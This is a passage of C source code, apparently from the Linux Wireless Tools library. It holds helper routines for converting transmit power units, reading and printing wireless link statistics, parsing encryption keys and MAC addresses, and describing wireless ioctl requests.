libm : faster */ return((int) (floor(pow(10.0, (((double) in) / 10.0))))); #endif /* WE_NOLIBM */ } /*------------------------------------------------------------------*/ /* * Convert a value in milliWatt to a value in dBm. */ int iw_mwatt2dbm(int in) { #ifdef WE_NOLIBM /* Version without libm : slower */ double fin = (double) in; int res = 0; /* Split integral and floating part to avoid accumulating rounding errors */ while(fin > 10.0) { res += 10; fin /= 10.0; } while(fin > 1.000001) /* Eliminate rounding errors, take ceil */ { res += 1; fin /= LOG10_MAGIC; } return(res); #else /* WE_NOLIBM */ /* Version with libm : faster */ return((int) (ceil(10.0 * log10((double) in)))); #endif /* WE_NOLIBM */ } /*------------------------------------------------------------------*/ /* * Output a txpower with proper conversion */ void iw_print_txpower(char * buffer, int buflen, struct iw_param * txpower) { int dbm; /* Check if disabled */ if(txpower->disabled) { snprintf(buffer, buflen, "off"); } else { /* Check for relative values */ if(txpower->flags & IW_TXPOW_RELATIVE) { snprintf(buffer, buflen, "%d", txpower->value); } else { /* Convert everything to dBm */ if(txpower->flags & IW_TXPOW_MWATT) dbm = iw_mwatt2dbm(txpower->value); else dbm = txpower->value; /* Display */ snprintf(buffer, buflen, "%d dBm", dbm); } } } /********************** STATISTICS SUBROUTINES **********************/ /*------------------------------------------------------------------*/ /* * Read /proc/net/wireless to get the latest statistics * Note : strtok not thread safe, not used in WE-12 and later. */ int iw_get_stats(int skfd, const char * ifname, iwstats * stats, const iwrange * range, int has_range) { /* Fortunately, we can always detect this condition properly */ if((has_range) && (range->we_version_compiled > 11)) { struct iwreq wrq; wrq.u.data.pointer = (caddr_t) stats; wrq.u.data.length = sizeof(struct iw_statistics); wrq.u.data.flags = 1; /* Clear updated flag */ strncpy(wrq.ifr_ifrn.ifrn_name, ifname, IFNAMSIZ); if(iw_get_ext(skfd, ifname, SIOCGIWSTATS, &wrq) < 0) return(-1); /* Format has not changed since WE-12, no conversion */ return(0); } else { FILE * f = fopen(PROC_NET_WIRELESS, "r"); char buf[256]; char * bp; int t; if(f==NULL) return -1; /* Loop on all devices */ while(fgets(buf,255,f)) { bp=buf; while(*bp&&isspace(*bp)) bp++; /* Is it the good device ? */ if(strncmp(bp,ifname,strlen(ifname))==0 && bp[strlen(ifname)]==':') { /* Skip ethX: */ bp=strchr(bp,':'); bp++; /* -- status -- */ bp = strtok(bp, " "); sscanf(bp, "%X", &t); stats->status = (unsigned short) t; /* -- link quality -- */ bp = strtok(NULL, " "); if(strchr(bp,'.') != NULL) stats->qual.updated |= 1; sscanf(bp, "%d", &t); stats->qual.qual = (unsigned char) t; /* -- signal level -- */ bp = strtok(NULL, " "); if(strchr(bp,'.') != NULL) stats->qual.updated |= 2; sscanf(bp, "%d", &t); stats->qual.level = (unsigned char) t; /* -- noise level -- */ bp = strtok(NULL, " "); if(strchr(bp,'.') != NULL) stats->qual.updated += 4; sscanf(bp, "%d", &t); stats->qual.noise = (unsigned char) t; /* -- discarded packets -- */ bp = strtok(NULL, " "); sscanf(bp, "%d", &stats->discard.nwid); bp = strtok(NULL, " "); sscanf(bp, "%d", &stats->discard.code); bp = strtok(NULL, " "); sscanf(bp, "%d", &stats->discard.misc); fclose(f); /* No conversion needed */ return 0; } } fclose(f); return -1; } } /*------------------------------------------------------------------*/ /* * Output the link statistics, taking care of formating */ void iw_print_stats(char * buffer, int buflen, const iwqual * qual, const iwrange * range, int has_range) { int len; /* People are very often confused by the 8 bit arithmetic happening * here. * All the values here are encoded in a 8 bit integer. 8 bit integers * are either unsigned [0 ; 255], signed [-128 ; +127] or * negative [-255 ; 0]. * Further, on 8 bits, 0x100 == 256 == 0. * * Relative/percent values are always encoded unsigned, between 0 and 255. * Absolute/dBm values are always encoded between -192 and 63. * (Note that up to version 28 of Wireless Tools, dBm used to be * encoded always negative, between -256 and -1). * * How do we separate relative from absolute values ? * The old way is to use the range to do that. As of WE-19, we have * an explicit IW_QUAL_DBM flag in updated... * The range allow to specify the real min/max of the value. As the * range struct only specify one bound of the value, we assume that * the other bound is 0 (zero). * For relative values, range is [0 ; range->max]. * For absolute values, range is [range->max ; 63]. * * Let's take two example : * 1) value is 75%. qual->value = 75 ; range->max_qual.value = 100 * 2) value is -54dBm. noise floor of the radio is -104dBm. * qual->value = -54 = 202 ; range->max_qual.value = -104 = 152 * * Jean II */ /* Just do it... * The old way to detect dBm require both the range and a non-null * level (which confuse the test). The new way can deal with level of 0 * because it does an explicit test on the flag. */ if(has_range && ((qual->level != 0) || (qual->updated & (IW_QUAL_DBM | IW_QUAL_RCPI)))) { /* Deal with quality : always a relative value */ if(!(qual->updated & IW_QUAL_QUAL_INVALID)) { len = snprintf(buffer, buflen, "Quality%c%d/%d ", qual->updated & IW_QUAL_QUAL_UPDATED ? '=' : ':', qual->qual, range->max_qual.qual); buffer += len; buflen -= len; } /* Check if the statistics are in RCPI (IEEE 802.11k) */ if(qual->updated & IW_QUAL_RCPI) { /* Deal with signal level in RCPI */ /* RCPI = int{(Power in dBm +110)*2} for 0dbm > Power > -110dBm */ if(!(qual->updated & IW_QUAL_LEVEL_INVALID)) { double rcpilevel = (qual->level / 2.0) - 110.0; len = snprintf(buffer, buflen, "Signal level%c%g dBm ", qual->updated & IW_QUAL_LEVEL_UPDATED ? '=' : ':', rcpilevel); buffer += len; buflen -= len; } /* Deal with noise level in dBm (absolute power measurement) */ if(!(qual->updated & IW_QUAL_NOISE_INVALID)) { double rcpinoise = (qual->noise / 2.0) - 110.0; len = snprintf(buffer, buflen, "Noise level%c%g dBm", qual->updated & IW_QUAL_NOISE_UPDATED ? '=' : ':', rcpinoise); } } else { /* Check if the statistics are in dBm */ if((qual->updated & IW_QUAL_DBM) || (qual->level > range->max_qual.level)) { /* Deal with signal level in dBm (absolute power measurement) */ if(!(qual->updated & IW_QUAL_LEVEL_INVALID)) { int dblevel = qual->level; /* Implement a range for dBm [-192; 63] */ if(qual->level >= 64) dblevel -= 0x100; len = snprintf(buffer, buflen, "Signal level%c%d dBm ", qual->updated & IW_QUAL_LEVEL_UPDATED ? '=' : ':', dblevel); buffer += len; buflen -= len; } /* Deal with noise level in dBm (absolute power measurement) */ if(!(qual->updated & IW_QUAL_NOISE_INVALID)) { int dbnoise = qual->noise; /* Implement a range for dBm [-192; 63] */ if(qual->noise >= 64) dbnoise -= 0x100; len = snprintf(buffer, buflen, "Noise level%c%d dBm", qual->updated & IW_QUAL_NOISE_UPDATED ? '=' : ':', dbnoise); } } else { /* Deal with signal level as relative value (0 -> max) */ if(!(qual->updated & IW_QUAL_LEVEL_INVALID)) { len = snprintf(buffer, buflen, "Signal level%c%d/%d ", qual->updated & IW_QUAL_LEVEL_UPDATED ? '=' : ':', qual->level, range->max_qual.level); buffer += len; buflen -= len; } /* Deal with noise level as relative value (0 -> max) */ if(!(qual->updated & IW_QUAL_NOISE_INVALID)) { len = snprintf(buffer, buflen, "Noise level%c%d/%d", qual->updated & IW_QUAL_NOISE_UPDATED ? '=' : ':', qual->noise, range->max_qual.noise); } } } } else { /* We can't read the range, so we don't know... */ snprintf(buffer, buflen, "Quality:%d Signal level:%d Noise level:%d", qual->qual, qual->level, qual->noise); } } /*********************** ENCODING SUBROUTINES ***********************/ /*------------------------------------------------------------------*/ /* * Output the encoding key, with a nice formating */ void iw_print_key(char * buffer, int buflen, const unsigned char * key, /* Must be unsigned */ int key_size, int key_flags) { int i; /* Check buffer size -> 1 bytes => 2 digits + 1/2 separator */ if((key_size * 3) > buflen) { snprintf(buffer, buflen, ""); return; } /* Is the key present ??? */ if(key_flags & IW_ENCODE_NOKEY) { /* Nope : print on or dummy */ if(key_size <= 0) strcpy(buffer, "on"); /* Size checked */ else { strcpy(buffer, "**"); /* Size checked */ buffer +=2; for(i = 1; i < key_size; i++) { if((i & 0x1) == 0) strcpy(buffer++, "-"); /* Size checked */ strcpy(buffer, "**"); /* Size checked */ buffer +=2; } } } else { /* Yes : print the key */ sprintf(buffer, "%.2X", key[0]); /* Size checked */ buffer +=2; for(i = 1; i < key_size; i++) { if((i & 0x1) == 0) strcpy(buffer++, "-"); /* Size checked */ sprintf(buffer, "%.2X", key[i]); /* Size checked */ buffer +=2; } } } /*------------------------------------------------------------------*/ /* * Convert a passphrase into a key * ### NOT IMPLEMENTED ### * Return size of the key, or 0 (no key) or -1 (error) */ static int iw_pass_key(const char * input, unsigned char * key) { (void) input; (void) key; fprintf(stderr, "Error: Passphrase not implemented\n"); return(-1); } /*------------------------------------------------------------------*/ /* * Parse a key from the command line. * Return size of the key, or 0 (no key) or -1 (error) * If the key is too long, it's simply truncated... */ int iw_in_key(const char * input, unsigned char * key) { int keylen = 0; /* Check the type of key */ if(!strncmp(input, "s:", 2)) { /* First case : as an ASCII string (Lucent/Agere cards) */ keylen = strlen(input + 2); /* skip "s:" */ if(keylen > IW_ENCODING_TOKEN_MAX) keylen = IW_ENCODING_TOKEN_MAX; memcpy(key, input + 2, keylen); } else if(!strncmp(input, "p:", 2)) { /* Second case : as a passphrase (PrismII cards) */ return(iw_pass_key(input + 2, key)); /* skip "p:" */ } else { const char * p; int dlen; /* Digits sequence length */ unsigned char out[IW_ENCODING_TOKEN_MAX]; /* Third case : as hexadecimal digits */ p = input; dlen = -1; /* Loop until we run out of chars in input or overflow the output */ while(*p != '\0') { int temph; int templ; int count; /* No more chars in this sequence */ if(dlen <= 0) { /* Skip separator */ if(dlen == 0) p++; /* Calculate num of char to next separator */ dlen = strcspn(p, "-:;.,"); } /* Get each char separatly (and not by two) so that we don't * get confused by 'enc' (=> '0E'+'0C') and similar */ count = sscanf(p, "%1X%1X", &temph, &templ); if(count < 1) return(-1); /* Error -> non-hex char */ /* Fixup odd strings such as '123' is '01'+'23' and not '12'+'03'*/ if(dlen % 2) count = 1; /* Put back two chars as one byte and output */ if(count == 2) templ |= temph << 4; else templ = temph; out[keylen++] = (unsigned char) (templ & 0xFF); /* Check overflow in output */ if(keylen >= IW_ENCODING_TOKEN_MAX) break; /* Move on to next chars */ p += count; dlen -= count; } /* We use a temporary output buffer 'out' so that if there is * an error, we don't overwrite the original key buffer. * Because of the way iwconfig loop on multiple key/enc arguments * until it finds an error in here, this is necessary to avoid * silently corrupting the encryption key... */ memcpy(key, out, keylen); } #ifdef DEBUG { char buf[IW_ENCODING_TOKEN_MAX * 3]; iw_print_key(buf, sizeof(buf), key, keylen, 0); printf("Got key : %d [%s]\n", keylen, buf); } #endif return(keylen); } /*------------------------------------------------------------------*/ /* * Parse a key from the command line. * Return size of the key, or 0 (no key) or -1 (error) */ int iw_in_key_full(int skfd, const char * ifname, const char * input, unsigned char * key, uint16_t * flags) { int keylen = 0; char * p; if(!strncmp(input, "l:", 2)) { struct iw_range range; /* Extra case : as a login (user:passwd - Cisco LEAP) */ keylen = strlen(input + 2) + 1; /* skip "l:", add '\0' */ /* Most user/password is 8 char, so 18 char total, < 32 */ if(keylen > IW_ENCODING_TOKEN_MAX) keylen = IW_ENCODING_TOKEN_MAX; memcpy(key, input + 2, keylen); /* Separate the two strings */ p = strchr((char *) key, ':'); if(p == NULL) { fprintf(stderr, "Error: Invalid login format\n"); return(-1); } *p = '\0'; /* Extract range info */ if(iw_get_range_info(skfd, ifname, &range) < 0) /* Hum... Maybe we should return an error ??? */ memset(&range, 0, sizeof(range)); if(range.we_version_compiled > 15) { printf("flags = %X, index = %X\n", *flags, range.encoding_login_index); if((*flags & IW_ENCODE_INDEX) == 0) { /* Extract range info */ if(iw_get_range_info(skfd, ifname, &range) < 0) memset(&range, 0, sizeof(range)); printf("flags = %X, index = %X\n", *flags, range.encoding_login_index); /* Set the index the driver expects */ *flags |= range.encoding_login_index & IW_ENCODE_INDEX; } printf("flags = %X, index = %X\n", *flags, range.encoding_login_index); } } else /* Simpler routine above */ keylen = iw_in_key(input, key); return(keylen); } /******************* POWER MANAGEMENT SUBROUTINES *******************/ /*------------------------------------------------------------------*/ /* * Output a power management value with all attributes... */ void iw_print_pm_value(char * buffer, int buflen, int value, int flags, int we_version) { /* Check size */ if(buflen < 25) { snprintf(buffer, buflen, ""); return; } buflen -= 25; /* Modifiers */ if(flags & IW_POWER_MIN) { strcpy(buffer, " min"); /* Size checked */ buffer += 4; } if(flags & IW_POWER_MAX) { strcpy(buffer, " max"); /* Size checked */ buffer += 4; } /* Type */ if(flags & IW_POWER_TIMEOUT) { strcpy(buffer, " timeout:"); /* Size checked */ buffer += 9; } else { if(flags & IW_POWER_SAVING) { strcpy(buffer, " saving:"); /* Size checked */ buffer += 8; } else { strcpy(buffer, " period:"); /* Size checked */ buffer += 8; } } /* Display value without units */ if(flags & IW_POWER_RELATIVE) { if(we_version < 21) value /= MEGA; snprintf(buffer, buflen, "%d", value); } else { /* Display value with units */ if(value >= (int) MEGA) snprintf(buffer, buflen, "%gs", ((double) value) / MEGA); else if(value >= (int) KILO) snprintf(buffer, buflen, "%gms", ((double) value) / KILO); else snprintf(buffer, buflen, "%dus", value); } } /*------------------------------------------------------------------*/ /* * Output a power management mode */ void iw_print_pm_mode(char * buffer, int buflen, int flags) { /* Check size */ if(buflen < 28) { snprintf(buffer, buflen, ""); return; } /* Print the proper mode... */ switch(flags & IW_POWER_MODE) { case IW_POWER_UNICAST_R: strcpy(buffer, "mode:Unicast only received"); /* Size checked */ break; case IW_POWER_MULTICAST_R: strcpy(buffer, "mode:Multicast only received"); /* Size checked */ break; case IW_POWER_ALL_R: strcpy(buffer, "mode:All packets received"); /* Size checked */ break; case IW_POWER_FORCE_S: strcpy(buffer, "mode:Force sending"); /* Size checked */ break; case IW_POWER_REPEATER: strcpy(buffer, "mode:Repeat multicasts"); /* Size checked */ break; default: strcpy(buffer, ""); /* Size checked */ break; } } /***************** RETRY LIMIT/LIFETIME SUBROUTINES *****************/ /*------------------------------------------------------------------*/ /* * Output a retry value with all attributes... */ void iw_print_retry_value(char * buffer, int buflen, int value, int flags, int we_version) { /* Check buffer size */ if(buflen < 20) { snprintf(buffer, buflen, ""); return; } buflen -= 20; /* Modifiers */ if(flags & IW_RETRY_MIN) { strcpy(buffer, " min"); /* Size checked */ buffer += 4; } if(flags & IW_RETRY_MAX) { strcpy(buffer, " max"); /* Size checked */ buffer += 4; } if(flags & IW_RETRY_SHORT) { strcpy(buffer, " short"); /* Size checked */ buffer += 6; } if(flags & IW_RETRY_LONG) { strcpy(buffer, " long"); /* Size checked */ buffer += 6; } /* Type lifetime of limit */ if(flags & IW_RETRY_LIFETIME) { strcpy(buffer, " lifetime:"); /* Size checked */ buffer += 10; /* Display value without units */ if(flags & IW_RETRY_RELATIVE) { if(we_version < 21) value /= MEGA; snprintf(buffer, buflen, "%d", value); } else { /* Display value with units */ if(value >= (int) MEGA) snprintf(buffer, buflen, "%gs", ((double) value) / MEGA); else if(value >= (int) KILO) snprintf(buffer, buflen, "%gms", ((double) value) / KILO); else snprintf(buffer, buflen, "%dus", value); } } else snprintf(buffer, buflen, " limit:%d", value); } /************************* TIME SUBROUTINES *************************/ /*------------------------------------------------------------------*/ /* * Print timestamps * Inspired from irdadump... */ void iw_print_timeval(char * buffer, int buflen, const struct timeval * timev, const struct timezone * tz) { int s; s = (timev->tv_sec - tz->tz_minuteswest * 60) % 86400; snprintf(buffer, buflen, "%02d:%02d:%02d.%06u", s / 3600, (s % 3600) / 60, s % 60, (u_int32_t) timev->tv_usec); } /*********************** ADDRESS SUBROUTINES ************************/ /* * This section is mostly a cut & past from net-tools-1.2.0 * (Well... This has evolved over the years) * manage address display and input... */ #if 0 /*------------------------------------------------------------------*/ /* * Check if interface support the right MAC address type... */ int iw_check_mac_addr_type(int skfd, const char * ifname) { struct ifreq ifr; /* Get the type of hardware address */ strncpy(ifr.ifr_name, ifname, IFNAMSIZ); if((ioctl(skfd, SIOCGIFHWADDR, &ifr) < 0) || ((ifr.ifr_hwaddr.sa_family != ARPHRD_ETHER) && (ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211))) { /* Deep trouble... */ fprintf(stderr, "Interface %s doesn't support MAC addresses\n", ifname); return(-1); } #ifdef DEBUG { char buf[20]; printf("Hardware : %d - %s\n", ifr.ifr_hwaddr.sa_family, iw_saether_ntop(&ifr.ifr_hwaddr, buf)); } #endif return(0); } #endif /*------------------------------------------------------------------*/ /* * Check if interface support the right interface address type... */ int iw_check_if_addr_type(int skfd, const char * ifname) { struct ifreq ifr; /* Get the type of interface address */ strncpy(ifr.ifr_name, ifname, IFNAMSIZ); if((ioctl(skfd, SIOCGIFADDR, &ifr) < 0) || (ifr.ifr_addr.sa_family != AF_INET)) { /* Deep trouble... */ fprintf(stderr, "Interface %s doesn't support IP addresses\n", ifname); return(-1); } #ifdef DEBUG printf("Interface : %d - 0x%lX\n", ifr.ifr_addr.sa_family, *((unsigned long *) ifr.ifr_addr.sa_data)); #endif return(0); } #if 0 /*------------------------------------------------------------------*/ /* * Check if interface support the right address types... */ int iw_check_addr_type(int skfd, char * ifname) { /* Check the interface address type */ if(iw_check_if_addr_type(skfd, ifname) < 0) return(-1); /* Check the interface address type */ if(iw_check_mac_addr_type(skfd, ifname) < 0) return(-1); return(0); } #endif #if 0 /*------------------------------------------------------------------*/ /* * Ask the kernel for the MAC address of an interface. */ int iw_get_mac_addr(int skfd, const char * ifname, struct ether_addr * eth, unsigned short * ptype) { struct ifreq ifr; int ret; /* Prepare request */ bzero(&ifr, sizeof(struct ifreq)); strncpy(ifr.ifr_name, ifname, IFNAMSIZ); /* Do it */ ret = ioctl(skfd, SIOCGIFHWADDR, &ifr); memcpy(eth->ether_addr_octet, ifr.ifr_hwaddr.sa_data, 6); *ptype = ifr.ifr_hwaddr.sa_family; return(ret); } #endif /*------------------------------------------------------------------*/ /* * Display an arbitrary length MAC address in readable format. */ char * iw_mac_ntop(const unsigned char * mac, int maclen, char * buf, int buflen) { int i; /* Overflow check (don't forget '\0') */ if(buflen < (maclen * 3 - 1 + 1)) return(NULL); /* First byte */ sprintf(buf, "%02X", mac[0]); /* Other bytes */ for(i = 1; i < maclen; i++) sprintf(buf + (i * 3) - 1, ":%02X", mac[i]); return(buf); } #if 0 /*------------------------------------------------------------------*/ /* * Display an Ethernet address in readable format. */ void iw_ether_ntop(const struct ether_addr * eth, char * buf) { sprintf(buf, "%02X:%02X:%02X:%02X:%02X:%02X", eth->ether_addr_octet[0], eth->ether_addr_octet[1], eth->ether_addr_octet[2], eth->ether_addr_octet[3], eth->ether_addr_octet[4], eth->ether_addr_octet[5]); } /*------------------------------------------------------------------*/ /* * Display an Wireless Access Point Socket Address in readable format. * Note : 0x44 is an accident of history, that's what the Orinoco/PrismII * chipset report, and the driver doesn't filter it. */ char * iw_sawap_ntop(const struct sockaddr * sap, char * buf) { const struct ether_addr ether_zero = {{ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }}; const struct ether_addr ether_bcast = {{ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF }}; const struct ether_addr ether_hack = {{ 0x44, 0x44, 0x44, 0x44, 0x44, 0x44 }}; const struct ether_addr * ether_wap = (const struct ether_addr *) sap->sa_data; if(!iw_ether_cmp(ether_wap, ðer_zero)) sprintf(buf, "Not-Associated"); else if(!iw_ether_cmp(ether_wap, ðer_bcast)) sprintf(buf, "Invalid"); else if(!iw_ether_cmp(ether_wap, ðer_hack)) sprintf(buf, "None"); else iw_ether_ntop(ether_wap, buf); return(buf); } #endif /*------------------------------------------------------------------*/ /* * Input an arbitrary length MAC address and convert to binary. * Return address size. */ int iw_mac_aton(const char * orig, unsigned char * mac, int macmax) { const char * p = orig; int maclen = 0; /* Loop on all bytes of the string */ while(*p != '\0') { int temph; int templ; int count; /* Extract one byte as two chars */ count = sscanf(p, "%1X%1X", &temph, &templ); if(count != 2) break; /* Error -> non-hex chars */ /* Output two chars as one byte */ templ |= temph << 4; mac[maclen++] = (unsigned char) (templ & 0xFF); /* Check end of string */ p += 2; if(*p == '\0') { #ifdef DEBUG char buf[20]; iw_ether_ntop((const struct ether_addr *) mac, buf); fprintf(stderr, "iw_mac_aton(%s): %s\n", orig, buf); #endif return(maclen); /* Normal exit */ } /* Check overflow */ if(maclen >= macmax) { #ifdef DEBUG fprintf(stderr, "iw_mac_aton(%s): trailing junk!\n", orig); #endif errno = E2BIG; return(0); /* Error -> overflow */ } /* Check separator */ if(*p != ':') break; p++; } /* Error... */ #ifdef DEBUG fprintf(stderr, "iw_mac_aton(%s): invalid ether address!\n", orig); #endif errno = EINVAL; return(0); } /*------------------------------------------------------------------*/ /* * Input an Ethernet address and convert to binary. */ int iw_ether_aton(const char *orig, struct ether_addr *eth) { int maclen; maclen = iw_mac_aton(orig, (unsigned char *) eth, ETH_ALEN); if((maclen > 0) && (maclen < ETH_ALEN)) { errno = EINVAL; maclen = 0; } return(maclen); } /*------------------------------------------------------------------*/ /* * Input an Internet address and convert to binary. */ int iw_in_inet(char *name, struct sockaddr *sap) { struct hostent *hp; struct netent *np; struct sockaddr_in *sain = (struct sockaddr_in *) sap; /* Grmpf. -FvK */ sain->sin_family = AF_INET; sain->sin_port = 0; /* Default is special, meaning 0.0.0.0. */ if (!strcmp(name, "default")) { sain->sin_addr.s_addr = INADDR_ANY; return(1); } /* Try the NETWORKS database to see if this is a known network. */ if ((np = getnetbyname(name)) != (struct netent *)NULL) { sain->sin_addr.s_addr = htonl(np->n_net); strcpy(name, np->n_name); return(1); } /* Always use the resolver (DNS name + IP addresses) */ if ((hp = gethostbyname(name)) == (struct hostent *)NULL) { errno = h_errno; return(-1); } memcpy((char *) &sain->sin_addr, (char *) hp->h_addr_list[0], hp->h_length); strcpy(name, hp->h_name); return(0); } #if 0 /*------------------------------------------------------------------*/ /* * Input an address and convert to binary. */ int iw_in_addr(int skfd, const char * ifname, char * bufp, struct sockaddr *sap) { /* Check if it is a hardware or IP address */ if(strchr(bufp, ':') == NULL) { struct sockaddr if_address; struct arpreq arp_query; /* Check if we have valid interface address type */ if(iw_check_if_addr_type(skfd, ifname) < 0) { fprintf(stderr, "%-8.16s Interface doesn't support IP addresses\n", ifname); return(-1); } /* Read interface address */ if(iw_in_inet(bufp, &if_address) < 0) { fprintf(stderr, "Invalid interface address %s\n", bufp); return(-1); } /* Translate IP addresses to MAC addresses */ memcpy((char *) &(arp_query.arp_pa), (char *) &if_address, sizeof(struct sockaddr)); arp_query.arp_ha.sa_family = 0; arp_query.arp_flags = 0; /* The following restrict the search to the interface only */ /* For old kernels which complain, just comment it... */ strncpy(arp_query.arp_dev, ifname, IFNAMSIZ); if((ioctl(skfd, SIOCGARP, &arp_query) < 0) || !(arp_query.arp_flags & ATF_COM)) { fprintf(stderr, "Arp failed for %s on %s... (%d)\nTry to ping the address before setting it.\n", bufp, ifname, errno); return(-1); } /* Store new MAC address */ memcpy((char *) sap, (char *) &(arp_query.arp_ha), sizeof(struct sockaddr)); #ifdef DEBUG { char buf[20]; printf("IP Address %s => Hw Address = %s\n", bufp, iw_saether_ntop(sap, buf)); } #endif } else /* If it's an hardware address */ { /* Check if we have valid mac address type */ if(iw_check_mac_addr_type(skfd, ifname) < 0) { fprintf(stderr, "%-8.16s Interface doesn't support MAC addresses\n", ifname); return(-1); } /* Get the hardware address */ if(iw_saether_aton(bufp, sap) == 0) { fprintf(stderr, "Invalid hardware address %s\n", bufp); return(-1); } } #ifdef DEBUG { char buf[20]; printf("Hw Address = %s\n", iw_saether_ntop(sap, buf)); } #endif return(0); } #endif /************************* MISC SUBROUTINES **************************/ /* Size (in bytes) of various events */ static const int priv_type_size[] = { 0, /* IW_PRIV_TYPE_NONE */ 1, /* IW_PRIV_TYPE_BYTE */ 1, /* IW_PRIV_TYPE_CHAR */ 0, /* Not defined */ sizeof(uint32_t), /* IW_PRIV_TYPE_INT */ sizeof(struct iw_freq), /* IW_PRIV_TYPE_FLOAT */ sizeof(struct sockaddr), /* IW_PRIV_TYPE_ADDR */ 0, /* Not defined */ }; /*------------------------------------------------------------------*/ /* * Max size in bytes of an private argument. */ int iw_get_priv_size(int args) { int num = args & IW_PRIV_SIZE_MASK; int type = (args & IW_PRIV_TYPE_MASK) >> 12; return(num * priv_type_size[type]); } /************************ EVENT SUBROUTINES ************************/ /* * The Wireless Extension API 14 and greater define Wireless Events, * that are used for various events and scanning. * Those functions help the decoding of events, so are needed only in * this case. */ /* -------------------------- CONSTANTS -------------------------- */ /* Type of headers we know about (basically union iwreq_data) */ #define IW_HEADER_TYPE_NULL 0 /* Not available */ #define IW_HEADER_TYPE_CHAR 2 /* char [IFNAMSIZ] */ #define IW_HEADER_TYPE_UINT 4 /* uint32_t */ #define IW_HEADER_TYPE_FREQ 5 /* struct iw_freq */ #define IW_HEADER_TYPE_ADDR 6 /* struct sockaddr */ #define IW_HEADER_TYPE_POINT 8 /* struct iw_point */ #define IW_HEADER_TYPE_PARAM 9 /* struct iw_param */ #define IW_HEADER_TYPE_QUAL 10 /* struct iw_quality */ /* Handling flags */ /* Most are not implemented. I just use them as a reminder of some * cool features we might need one day ;-) */ #define IW_DESCR_FLAG_NONE 0x0000 /* Obvious */ /* Wrapper level flags */ #define IW_DESCR_FLAG_DUMP 0x0001 /* Not part of the dump command */ #define IW_DESCR_FLAG_EVENT 0x0002 /* Generate an event on SET */ #define IW_DESCR_FLAG_RESTRICT 0x0004 /* GET : request is ROOT only */ /* SET : Omit payload from generated iwevent */ #define IW_DESCR_FLAG_NOMAX 0x0008 /* GET : no limit on request size */ /* Driver level flags */ #define IW_DESCR_FLAG_WAIT 0x0100 /* Wait for driver event */ /* ---------------------------- TYPES ---------------------------- */ /* * Describe how a standard IOCTL looks like. */ struct iw_ioctl_description { uint8_t header_type; /* NULL, iw_point or other */ uint8_t token_type; /* Future */ uint16_t token_size; /* Granularity of payload */ uint16_t min_tokens; /* Min acceptable token number */ uint16_t max_tokens; /* Max acceptable token number */ uint32_t flags; /* Special handling of the request */ }; /* -------------------------- VARIABLES -------------------------- */ /* * Meta-data about all the standard Wireless Extension request we * know about. */ static const struct iw_ioctl_description standard_ioctl_descr[] = { [SIOCSIWCOMMIT - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_NULL, }, [SIOCGIWNAME - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_CHAR, .flags = IW_DESCR_FLAG_DUMP, }, [SIOCSIWNWID - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_PARAM, .flags = IW_DESCR_FLAG_EVENT, }, [SIOCGIWNWID - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_PARAM, .flags = IW_DESCR_FLAG_DUMP, }, [SIOCSIWFREQ - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_FREQ, .flags = IW_DESCR_FLAG_EVENT, }, [SIOCGIWFREQ - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_FREQ, .flags = IW_DESCR_FLAG_DUMP, }, [SIOCSIWMODE - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_UINT, .flags = IW_DESCR_FLAG_EVENT, }, [SIOCGIWMODE - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_UINT, .flags = IW_DESCR_FLAG_DUMP, }, [SIOCSIWSENS - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_PARAM, }, [SIOCGIWSENS - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_PARAM, }, [SIOCSIWRANGE - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_NULL, }, [SIOCGIWRANGE - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = 1, .max_tokens = sizeof(struct iw_range), .flags = IW_DESCR_FLAG_DUMP, }, [SIOCSIWPRIV - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_NULL, }, [SIOCGIWPRIV - SIOCIWFIRST] = { /* (handled directly by us) */ .header_type = IW_HEADER_TYPE_NULL, }, [SIOCSIWSTATS - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_NULL, }, [SIOCGIWSTATS - SIOCIWFIRST] = { /* (handled directly by us) */ .header_type = IW_HEADER_TYPE_NULL, .flags = IW_DESCR_FLAG_DUMP, }, [SIOCSIWSPY - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = sizeof(struct sockaddr), .max_tokens = IW_MAX_SPY, }, [SIOCGIWSPY - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = sizeof(struct sockaddr) + sizeof(struct iw_quality), .max_tokens = IW_MAX_SPY, }, [SIOCSIWTHRSPY - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = sizeof(struct iw_thrspy), .min_tokens = 1, .max_tokens = 1, }, [SIOCGIWTHRSPY - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = sizeof(struct iw_thrspy), .min_tokens = 1, .max_tokens = 1, }, [SIOCSIWAP - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_ADDR, }, [SIOCGIWAP - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_ADDR, .flags = IW_DESCR_FLAG_DUMP, }, [SIOCSIWMLME - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = 1, .min_tokens = sizeof(struct iw_mlme), .max_tokens = sizeof(struct iw_mlme), }, [SIOCGIWAPLIST - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = sizeof(struct sockaddr) + sizeof(struct iw_quality), .max_tokens = IW_MAX_AP, .flags = IW_DESCR_FLAG_NOMAX, }, [SIOCSIWSCAN - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = 1, .min_tokens = 0, .max_tokens = sizeof(struct iw_scan_req), }, [SIOCGIWSCAN - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = 1, .max_tokens = 